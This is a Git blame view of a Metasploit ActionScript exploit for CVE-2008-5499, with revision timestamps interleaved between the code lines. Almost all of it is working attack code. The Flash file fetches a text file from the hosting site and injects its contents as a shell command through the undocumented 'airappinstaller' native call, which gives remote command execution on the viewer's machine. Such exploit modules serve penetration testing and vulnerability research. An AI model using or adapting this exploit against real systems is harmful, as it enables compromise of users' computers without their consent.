Files
metasploit-gs/external/source/exploits/CVE-2008-5499/Exploit.as
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

48 lines
1.2 KiB
ActionScript
Raw Normal View History

2012-04-10 20:58:22 +01:00
/*
Compile: mtasc -version 8 -swf Exploit.swf -main -header 800:600:20 Exploit.as
Author: 0a29406d9794e4f9b30b3c5d6702c708 / Unknown / metasploit
PoC: http://downloads.securityfocus.com/vulnerabilities/exploits/32896.as
*/
2012-04-12 01:08:22 -05:00
2012-04-10 20:58:22 +01:00
import flash.external.ExternalInterface;
2012-04-12 01:08:22 -05:00
2012-04-10 20:58:22 +01:00
class Exploit {
2012-04-19 18:07:35 -05:00
2012-04-10 20:58:22 +01:00
public function randname(newLength:Number):String{
2012-04-12 01:08:22 -05:00
var a:String = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
var alphabet:Array = a.split("");
var randomLetter:String = "";
2012-04-19 18:07:35 -05:00
2012-04-12 01:08:22 -05:00
for (var i:Number = 0; i < newLength; i++){
randomLetter += alphabet[Math.floor(Math.random() * alphabet.length)];
}
2012-04-19 18:07:35 -05:00
2012-04-12 01:08:22 -05:00
return randomLetter;
}
2012-04-10 20:58:22 +01:00
public function exploit() {
var path:String = ExternalInterface.call("window.location.href.toString") + randname(6) + ".txt";
var loadVars:LoadVars = new LoadVars();
2012-04-19 18:07:35 -05:00
2012-04-10 20:58:22 +01:00
loadVars.onData = function(str:String):Void {
if (str) {
if (_global.ASnative(2201, 1)("airappinstaller")) {
_global.ASnative(2201, 2)("airappinstaller", "; " + str);
2012-04-12 01:08:22 -05:00
}
2012-04-10 20:58:22 +01:00
} else {
2012-04-12 01:08:22 -05:00
// FAIL
2012-04-10 20:58:22 +01:00
}
}
2012-04-12 01:08:22 -05:00
loadVars.load(path);
}
2012-04-10 20:58:22 +01:00
public function Exploit() {
2012-04-19 18:07:35 -05:00
exploit();
2012-04-12 01:08:22 -05:00
}
2012-04-10 20:58:22 +01:00
static function main() {
var ex : Exploit;
ex = new Exploit();
}
}